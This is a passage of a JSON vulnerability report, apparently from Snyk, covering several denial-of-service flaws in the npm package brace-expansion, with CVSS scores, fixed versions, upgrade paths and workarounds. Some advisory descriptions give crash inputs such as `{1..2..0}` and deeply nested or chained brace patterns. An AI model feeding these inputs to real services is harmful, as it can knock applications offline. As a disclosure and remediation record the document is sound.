"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
